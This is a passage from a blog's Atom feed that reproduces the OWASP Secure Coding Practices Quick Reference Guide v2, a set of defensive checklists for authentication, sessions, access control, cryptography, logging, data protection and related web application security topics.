&quot;password&quot;)&lt;/div&gt;
&lt;div&gt;
 Enforce account disabling after an established number of invalid login attempts (e.g., five attempts is&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
common). &amp;nbsp;The account must be disabled for a period of time sufficient to discourage brute force&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
guessing of credentials, but not so long as to allow for a denial-of-service attack to be performed&lt;/div&gt;
&lt;div&gt;
 Password reset and changing operations require the same level of controls as account creation and&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
authentication.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Password reset questions should support sufficiently random answers. (e.g., &quot;favorite book&quot; is a bad&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
question because “The Bible” is a very common answer)&lt;/div&gt;
&lt;div&gt;
 If using email based resets, only send email to a pre-registered address with a temporary&lt;/div&gt;
&lt;div&gt;
link/password&lt;/div&gt;
&lt;div&gt;
 Temporary passwords and links should have a short expiration time&lt;/div&gt;
&lt;div&gt;
 Enforce the changing of temporary passwords on the next useNovember 2010&lt;/div&gt;
&lt;div&gt;
Version 2.0 7&lt;/div&gt;
&lt;div&gt;
 Notify users when a password reset occurs&lt;/div&gt;
&lt;div&gt;
 Prevent password re-use&lt;/div&gt;
&lt;div&gt;
 Passwords should be at least one day old before they can be changed, to prevent attacks on password&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
re-use&lt;/div&gt;
&lt;div&gt;
 Enforce password changes based on requirements established in policy or regulation. Critical systems&lt;/div&gt;
&lt;div&gt;
may require more frequent changes. The time between resets must be administratively controlled&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Disable &quot;remember me&quot; functionality for password fields&lt;/div&gt;
&lt;div&gt;
 The last use (successful or unsuccessful) of a user account should be reported to the user at their next&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
successful login&lt;/div&gt;
&lt;div&gt;
 Implement monitoring to identify attacks against multiple user accounts, utilizing the same password.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
This attack pattern is used to bypass standard lockouts, when user IDs can be harvested or guessed&lt;/div&gt;
&lt;div&gt;
 Change all vendor-supplied default passwords and user IDs or disable the associated accounts&lt;/div&gt;
&lt;div&gt;
 Re-authenticate users prior to performing critical operations&lt;/div&gt;
&lt;div&gt;
 Use Multi-Factor Authentication for highly sensitive or high value transactional accounts&lt;/div&gt;
&lt;div&gt;
 If using third party code for authentication, inspect the code carefully to ensure it is not affected by&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
any malicious code&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Session Management:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Use the server or framework’s session management controls. The application should only recognize&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
these session identifiers as valid&lt;/div&gt;
&lt;div&gt;
 Session identifier creation must always be done on a trusted system (e.g., The server)&lt;/div&gt;
&lt;div&gt;
 Session management controls should use well vetted algorithms that ensure sufficiently random&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
session identifiers&lt;/div&gt;
&lt;div&gt;
 Set the domain and path for cookies containing authenticated session identifiers to an appropriately&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
restricted value for the site&lt;/div&gt;
&lt;div&gt;
 Logout functionality should fully terminate the associated session or connection&lt;/div&gt;
&lt;div&gt;
 Logout functionality should be available from all pages protected by authorization&lt;/div&gt;
&lt;div&gt;
 Establish a session inactivity timeout that is as short as possible, based on balancing risk and business&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
functional requirements. In most cases it should be no more than several hours&lt;/div&gt;
&lt;div&gt;
 Disallow persistent logins and enforce periodic session terminations, even when the session is active.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
Especially for applications supporting rich network connections or connecting to critical systems.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
Termination times should support business requirements and the user should receive sufficient&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
notification to mitigate negative impacts&lt;/div&gt;
&lt;div&gt;
 If a session was established before login, close that session and establish a new session after a&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
successful login&lt;/div&gt;
&lt;div&gt;
 Generate a new session identifier on any re-authentication&lt;/div&gt;
&lt;div&gt;
 Do not allow concurrent logins with the same user ID&lt;/div&gt;
&lt;div&gt;
 Do not expose session identifiers in URLs, error messages or logs. Session identifiers should only be&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
located in the HTTP cookie header. For example, do not pass session identifiers as GET parameters&lt;/div&gt;
&lt;div&gt;
 Protect server side session data from unauthorized access, by other users of the server, by&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
implementing appropriate access controls on the server&lt;/div&gt;
&lt;div&gt;
 Generate a new session identifier and deactivate the old one periodically. (This can mitigate certain&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
session hijacking scenarios where the original identif ier was compromised)&lt;/div&gt;
&lt;div&gt;
 Generate a new session identifier if the connection security changes from HTTP to HTTPS, as can&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
occur during authentication. Within an application, it is recommended to consistently utilize HTTPS&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
rather than switching between HTTP to HTTPS.November 2010&lt;/div&gt;
&lt;div&gt;
Version 2.0 8&lt;/div&gt;
&lt;div&gt;
 Supplement standard session management for sensitive server-side operations, like account&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
management, by utilizing per-session strong random tokens or parameters. This method can be used&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
to prevent Cross Site Request Forgery attacks&lt;/div&gt;
&lt;div&gt;
 Supplement standard session management for highly sensitive or critical operations by utilizing perrequest, as opposed to per-session, strong random tokens or parameters&lt;/div&gt;
&lt;div&gt;
 Set the &quot;secure&quot; attribute for cookies transmitted over an TLS connection&lt;/div&gt;
&lt;div&gt;
 Set cookies with the HttpOnly attribute, unless you specifically require client-side scripts within your&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
application to read or set a cookie&#39;s value&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Access Control:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Use only trusted system objects, e.g. server side session objects, for making access authorization&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
decisions&lt;/div&gt;
&lt;div&gt;
 Use a single site-wide component to check access authorization. This includes libraries that call&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
external authorization services&lt;/div&gt;
&lt;div&gt;
 Access controls should fail securely&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Deny all access if the application cannot access its security configuration information&lt;/div&gt;
&lt;div&gt;
 Enforce authorization controls on every request, including those made by server side scripts,&lt;/div&gt;
&lt;div&gt;
&quot;includes&quot; and requests from rich client-side technologies like AJAX and Flash&lt;/div&gt;
&lt;div&gt;
 Segregate privileged logic from other application code&lt;/div&gt;
&lt;div&gt;
 Restrict access to files or other resources, including those outside the application&#39;s direct control, to&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
only authorized users&lt;/div&gt;
&lt;div&gt;
 Restrict access to protected URLs to only authorized users&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Restrict access to protected functions to only authorized users&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Restrict direct object references to only authorized users&lt;/div&gt;
&lt;div&gt;
 Restrict access &amp;nbsp;to services to only authorized users&lt;/div&gt;
&lt;div&gt;
 Restrict access &amp;nbsp;to application data to only authorized users&lt;/div&gt;
&lt;div&gt;
 Restrict access to user and data attributes and policy information used by access controls&lt;/div&gt;
&lt;div&gt;
 Restrict access security-relevant configuration information to only authorized users&lt;/div&gt;
&lt;div&gt;
 Server side implementation and presentation layer representations of access control rules must match&lt;/div&gt;
&lt;div&gt;
 If state data must be stored on the client, use encryption and integrity checking on the server side to&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
catch state tampering.&lt;/div&gt;
&lt;div&gt;
 Enforce application logic flows to comply with business rules&lt;/div&gt;
&lt;div&gt;
 Limit the number of transactions a single user or device can perform in a given period of time. The&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
transactions/time should be above the actual business requirement, but low enough to deter automated&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
attacks&lt;/div&gt;
&lt;div&gt;
 Use the &quot;referer&quot; header as a supplemental check only, it should never be the sole authorization check,&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
as it is can be spoofed&lt;/div&gt;
&lt;div&gt;
 If long authenticated sessions are allowed, periodically re-validate a user’s authorization to ensure that&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
their privileges have not changed and if they have, log the user out and force them to re-authenticate&lt;/div&gt;
&lt;div&gt;
 Implement account auditing and enforce the disabling of unused accounts (e.g., After no more than 30&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
days from the expiration of an account’s password.)&lt;/div&gt;
&lt;div&gt;
 The application must support disabling of accounts and terminating sessions when authorization&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
ceases (e.g., Changes to role, employment status, business process, etc.)&lt;/div&gt;
&lt;div&gt;
 Service accounts or accounts supporting connections to or from external systems should have the least&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
privilege possibleNovember 2010&lt;/div&gt;
&lt;div&gt;
Version 2.0 9&lt;/div&gt;
&lt;div&gt;
 Create an Access Control Policy to document an application&#39;s business rules, data types and access&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
authorization criteria and/or processes so that access can be properly provisioned and controlled. This&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
includes identifying access requirements for both the data and system resources&lt;/div&gt;
&lt;div&gt;
Cryptographic Practices:&lt;/div&gt;
&lt;div&gt;
 All cryptographic functions used to protect secrets from the application user must be implemented on&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
a trusted system (e.g., The server)&lt;/div&gt;
&lt;div&gt;
 Protect master secrets from unauthorized access&lt;/div&gt;
&lt;div&gt;
 Cryptographic modules should fail securely&lt;/div&gt;
&lt;div&gt;
 All random numbers, random file names, random GUIDs, and random strings should be generated&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
using the cryptographic module’s approved random number generator when these random values are&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
intended to be un-guessable&lt;/div&gt;
&lt;div&gt;
 Cryptographic modules used by the application should be compliant to FIPS 140-2 or an equivalent&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
standard. (See http://csrc.nist.gov/groups/STM/cmvp/validation.html)&lt;/div&gt;
&lt;div&gt;
 Establish and utilize a policy and process for how cryptographic keys will be managed&lt;/div&gt;
&lt;div&gt;
Error Handling and Logging:&lt;/div&gt;
&lt;div&gt;
 Do not disclose sensitive information in error responses, including system details, session identifiers&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
or account information&lt;/div&gt;
&lt;div&gt;
 Use error handlers that do not display debugging or stack trace information&lt;/div&gt;
&lt;div&gt;
 Implement generic error messages and use custom error pages&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 The application should handle application errors and not rely on the server configuration&lt;/div&gt;
&lt;div&gt;
 Properly free allocated memory when error conditions occur&lt;/div&gt;
&lt;div&gt;
 Error handling logic associated with security controls should deny access by default&lt;/div&gt;
&lt;div&gt;
 All logging controls should be implemented on a trusted system (e.g., The server)&lt;/div&gt;
&lt;div&gt;
 Logging controls should support both success and failure of specified security events&lt;/div&gt;
&lt;div&gt;
 Ensure logs contain important log event data&lt;/div&gt;
&lt;div&gt;
 Ensure log entries that include un-trusted data will not execute as code in the intended log viewing&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
interface or software&lt;/div&gt;
&lt;div&gt;
 Restrict access to logs to only authorized individuals&lt;/div&gt;
&lt;div&gt;
 Utilize a master routine for all logging operations&lt;/div&gt;
&lt;div&gt;
 Do not store sensitive information in logs, including unnecessary system details, session identifiers or&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
passwords&lt;/div&gt;
&lt;div&gt;
 Ensure that a mechanism exists to conduct log analysis&lt;/div&gt;
&lt;div&gt;
 Log all input validation failures&lt;/div&gt;
&lt;div&gt;
 Log all authentication attempts, especially failures&lt;/div&gt;
&lt;div&gt;
 Log all access control failures&lt;/div&gt;
&lt;div&gt;
 Log all apparent tampering events, including unexpected changes to state data&lt;/div&gt;
&lt;div&gt;
 Log attempts to connect with invalid or expired session tokens&lt;/div&gt;
&lt;div&gt;
 Log all system exceptions&lt;/div&gt;
&lt;div&gt;
 Log all administrative functions, including changes to the security configuration settings&lt;/div&gt;
&lt;div&gt;
 Log all backend TLS connection failures&lt;/div&gt;
&lt;div&gt;
 Log cryptographic module failures&lt;/div&gt;
&lt;div&gt;
 Use a cryptographic hash function to validate log entry integrityNovember 2010&lt;/div&gt;
&lt;div&gt;
Version 2.0 10&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Data Protection:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Implement least privilege, restrict users to only the functionality, data and system information that is&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
required to perform their tasks&lt;/div&gt;
&lt;div&gt;
 Protect all cached or temporary copies of sensitive data stored on the server from unauthorized access&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
and purge those temporary working files a soon as they are no longer required.&lt;/div&gt;
&lt;div&gt;
 Encrypt highly sensitive stored information, like authentication verification data, even on the server&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
side. Always use well vetted algorithms, see &quot;Cryptographic Practices&quot; for additional guidance&lt;/div&gt;
&lt;div&gt;
 Protect server-side source-code from being downloaded by a user&lt;/div&gt;
&lt;div&gt;
 Do not store passwords, connection strings or other sensitive information in clear text or in any noncryptographically secure manner on the client side. This includes embedding in insecure formats like:&lt;/div&gt;
&lt;div&gt;
MS viewstate, Adobe flash or compiled code&lt;/div&gt;
&lt;div&gt;
 Remove comments in user accessible production code that may reveal backend system or other&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
sensitive information&lt;/div&gt;
&lt;div&gt;
 Remove unnecessary application and system documentation as this can reveal useful information to&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
attackers&lt;/div&gt;
&lt;div&gt;
 Do not include sensitive information in HTTP GET request parameters&lt;/div&gt;
&lt;div&gt;
 Disable auto complete features on forms expected to contain sensitive information, including&lt;/div&gt;
&lt;div&gt;
authentication&lt;/div&gt;
&lt;div&gt;
 Disable client side caching on pages containing sensitive information. Cache-Control: no-store, may&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
be used in conjunction with the HTTP header control &quot;Pragma: no-cache&quot;, which is less effective, but&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
is HTTP/1.0 backward compatible&lt;/div&gt;
&lt;div&gt;
 The application should support the removal of sensitive data when that data is no longer required.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
(e.g. personal information or certain financial data)&lt;/div&gt;
&lt;div&gt;
 Implement appropriate access controls for sensitive data stored on the server. This includes cached&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
data, temporary files and data that should be accessible only by specific system users&lt;/div&gt;
&lt;div&gt;
Communication Security:&lt;/div&gt;
&lt;div&gt;
 Implement encryption for the transmission of all sensitive information. This should include TLS for&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
protecting the connection and may be supplemented by discrete encryption of sensitive files or nonHTTP based connections&lt;/div&gt;
&lt;div&gt;
 TLS certificates should be valid and have the correct domain name, not be expired, and be installed&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
with intermediate certificates when required&lt;/div&gt;
&lt;div&gt;
 Failed TLS connections should not fall back to an insecure connection&lt;/div&gt;
&lt;div&gt;
 Utilize TLS connections for all content requiring authenticated access and for all other sensitive&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
information&lt;/div&gt;
&lt;div&gt;
 Utilize TLS for connections to external systems that involve sensitive information or functions&lt;/div&gt;
&lt;div&gt;
 Utilize a single standard TLS implementation that is configured appropriately&lt;/div&gt;
&lt;div&gt;
 Specify character encodings for all connections&lt;/div&gt;
&lt;div&gt;
 Filter parameters containing sensitive information from the HTTP referer, when linking to external&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
sites&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;System Configuration:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Ensure servers, frameworks and system components are running the latest approved version&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Ensure servers, frameworks and system components have all patches issued for the version in use&lt;/div&gt;
&lt;div&gt;
 Turn off directory listings&lt;/div&gt;
&lt;div&gt;
 Restrict the web server, process and service accounts to the least privileges possible&lt;/div&gt;
&lt;div&gt;
 When exceptions occur, fail securely&lt;/div&gt;
&lt;div&gt;
 Remove all unnecessary functionality and files&lt;/div&gt;
&lt;div&gt;
 Remove test code or any functionality not intended for production, prior to deployment&lt;/div&gt;
&lt;div&gt;
 Prevent disclosure of your directory structure in the robots.txt file by placing directories not intended&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
for public indexing into an isolated parent directory. Then &quot;Disallow&quot; that entire parent directory in&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
the robots.txt file rather than Disallowing each individual directory&lt;/div&gt;
&lt;div&gt;
 Define which HTTP methods, Get or Post, the application will support and whether it will be handled&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
differently in different pages in the application&lt;/div&gt;
&lt;div&gt;
 Disable unnecessary HTTP methods, such as WebDAV extensions. If an extended HTTP method that&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
supports file handling is required, utilize a well-vetted authentication mechanism&lt;/div&gt;
&lt;div&gt;
 If the web server handles both HTTP 1.0 and 1.1, ensure that both are configured in a similar manor&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
or insure that you understand any difference that may exist (e.g. handling of extended HTTP methods)&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Remove unnecessary information from HTTP response headers related to the OS, web-server version&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
and application frameworks&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 The security configuration store for the application should be able to be output in human readable&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
form to support auditing&lt;/div&gt;
&lt;div&gt;
 Implement an asset management system and register system components and software in it&lt;/div&gt;
&lt;div&gt;
 Isolate development environments from the production network and provide access only to authorized&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
development and test groups. Development environments are often configured less securely than&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
production environments and attackers may use this difference to discover shared weaknesses or as an&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
avenue for exploitation&lt;/div&gt;
&lt;div&gt;
 Implement a software change control system to manage and record changes to the code both&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
in development and production&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Database Security:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Use strongly typed parameterized queries&lt;/div&gt;
&lt;div&gt;
 Utilize input validation and output encoding and be sure to address meta characters. If these fail, do&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
not run the database command&lt;/div&gt;
&lt;div&gt;
 Ensure that variables are strongly typed&lt;/div&gt;
&lt;div&gt;
 The application should use the lowest possible level of privilege when accessing the database&lt;/div&gt;
&lt;div&gt;
 Use secure credentials for database access&lt;/div&gt;
&lt;div&gt;
 Connection strings should not be hard coded within the application. Connection strings should be&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
stored in a separate configuration file on a trusted system and they should be encrypted.&lt;/div&gt;
&lt;div&gt;
 Use stored procedures to abstract data access and allow for the removal of permissions to the base&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
tables in the database&lt;/div&gt;
&lt;div&gt;
 Close the connection as soon as possible&lt;/div&gt;
&lt;div&gt;
 Remove or change all default database administrative passwords. Utilize strong passwords/phrases or&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
implement multi-factor authentication&lt;/div&gt;
&lt;div&gt;
 Turn off all unnecessary database functionality (e.g., unnecessary stored procedures or services, utility&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
packages, install only the minimum set of features and options required (surface area reduction))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
 Remove unnecessary default vendor content (e.g., sample schemas)&lt;/div&gt;
&lt;div&gt;
 Disable any default accounts that are not required to support business requirements&lt;/div&gt;
&lt;div&gt;
 The application should connect to the database with different credentials for every trust distinction&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
(e.g., user, read-only user, guest, administrators)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;File Management:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Do not pass user supplied data directly to any dynamic include function&lt;/div&gt;
&lt;div&gt;
 Require authentication before allowing a file to be uploaded&lt;/div&gt;
&lt;div&gt;
 Limit the type of files that can be uploaded to only those types that are needed for business purposes&lt;/div&gt;
&lt;div&gt;
 Validate uploaded files are the expected type by checking file headers. Checking for file type by&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
extension alone is not sufficient&lt;/div&gt;
&lt;div&gt;
 Do not save files in the same web context as the application. Files should either go to the content&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
server or in the database.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Prevent or restrict the uploading of any file that may be interpreted by the web server.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Turn off execution privileges on file upload directories&lt;/div&gt;
&lt;div&gt;
 Implement safe uploading in UNIX by mounting the targeted file directory as a logical drive using the&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
associated path or the chrooted environment&lt;/div&gt;
&lt;div&gt;
 When referencing existing files, use a white list of allowed file names and types. Validate the value of&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
the parameter being passed and if it does not match one of the expected values, either reject it or use a&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
hard coded default file value for the content instead&lt;/div&gt;
&lt;div&gt;
 Do not pass user supplied data into a dynamic redirect. If this must be allowed, then the redirect&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
should accept only validated, relative path URLs&lt;/div&gt;
&lt;div&gt;
 Do not pass directory or file paths, use index values mapped to pre-defined list of paths&lt;/div&gt;
&lt;div&gt;
 Never send the absolute file path to the client&lt;/div&gt;
&lt;div&gt;
 Ensure application files and resources are read-only&lt;/div&gt;
&lt;div&gt;
 Scan user uploaded files for viruses and malware&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Memory Management:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Utilize input and output control for un-trusted data&lt;/div&gt;
&lt;div&gt;
 Double check that the buffer is as large as specified&lt;/div&gt;
&lt;div&gt;
 When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
destination buffer size is equal to the source buffer size, it may not NULL-terminate the string&lt;/div&gt;
&lt;div&gt;
 Check buffer boundaries if calling the function in a loop and make sure there is no danger of writing&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
past the allocated space&lt;/div&gt;
&lt;div&gt;
 Truncate all input strings to a reasonable length before passing them to the copy and concatenation&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
functions&lt;/div&gt;
&lt;div&gt;
 Specifically close resources, don’t rely on garbage collection. (e.g., connection objects, file handles,&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
etc.)&lt;/div&gt;
&lt;div&gt;
 Use non-executable stacks when available&lt;/div&gt;
&lt;div&gt;
 Avoid the use of known vulnerable functions (e.g., printf, strcat, strcpy etc.)&lt;/div&gt;
&lt;div&gt;
 Properly free allocated memory upon the completion of functions and at all exit points&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;General Coding Practices:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Use tested and approved managed code rather than creating new unmanaged code for common tasks&lt;/div&gt;
&lt;div&gt;
 Utilize task specific built-in APIs to conduct operating system tasks. Do not allow the application to&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
issue commands directly to the Operating System, especially through the use of application initiated&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
command shells&lt;/div&gt;
&lt;div&gt;
 Use checksums or hashes to verify the integrity of interpreted code, libraries, executables, and&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
configuration files&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Utilize locking to prevent multiple simultaneous requests or use a synchronization mechanism to&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
prevent race conditions&lt;/div&gt;
&lt;div&gt;
 Protect shared variables and resources from inappropriate concurrent access&lt;/div&gt;
&lt;div&gt;
 Explicitly initialize all your variables and other data stores, either during declaration or just before the&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
first usage&lt;/div&gt;
&lt;div&gt;
 In cases where the application must run with elevated privileges, raise privileges as late as possible,&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
and drop them as soon as possible&lt;/div&gt;
&lt;div&gt;
 Avoid calculation errors by understanding your programming language&#39;s underlying representation&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision,&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
signed/unsigned distinctions, truncation, conversion and casting between types, &quot;not-a-number&quot;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
calculations, and how your language handles numbers that are too large or too small for its underlying&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
representation&lt;/div&gt;
&lt;div&gt;
 Do not pass user supplied data to any dynamic execution function&lt;/div&gt;
&lt;div&gt;
 Restrict users from generating new code or altering existing code&lt;/div&gt;
&lt;div&gt;
 Review all secondary applications, third party code and libraries to determine business necessity and&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
validate safe functionality, as these can introduce new vulnerabilities&lt;/div&gt;
&lt;div&gt;
 Implement safe updating. If the application will utilize automatic updates, then use cryptographic&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
signatures for your code and ensure your download clients verify those signatures. Use encrypted&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
channels to transfer the code from the host server&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Resources:&lt;/div&gt;
&lt;div&gt;
OWASP Testing guide:&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf&quot;&gt;https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf&lt;/a&gt; &lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Copyright&lt;/div&gt;
&lt;div&gt;
Originally published as&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/images/0/08/OWASP_SCP_Quick_Reference_Guide_v2.pdf&quot;&gt;https://www.owasp.org/images/0/08/OWASP_SCP_Quick_Reference_Guide_v2.pdf&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
This document is released under the Creative Commons Attribution ShareAlike 3.0 license. For any reuse or&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
distribution, you must make clear to others the license terms of this work&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://creativecommons.org/licenses/by-sa/3.0/&quot;&gt;http://creativecommons.org/licenses/by-sa/3.0/&lt;/a&gt; &lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/8229253276545139566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/04/security-secure-coding-practices.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8229253276545139566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8229253276545139566'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/04/security-secure-coding-practices.html' title='Security: Secure Coding practices'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-1985814557509940271</id><published>2013-03-23T23:23:00.000-07:00</published><updated>2013-03-23T23:23:00.105-07:00</updated><title type='text'>Security: Attacks</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
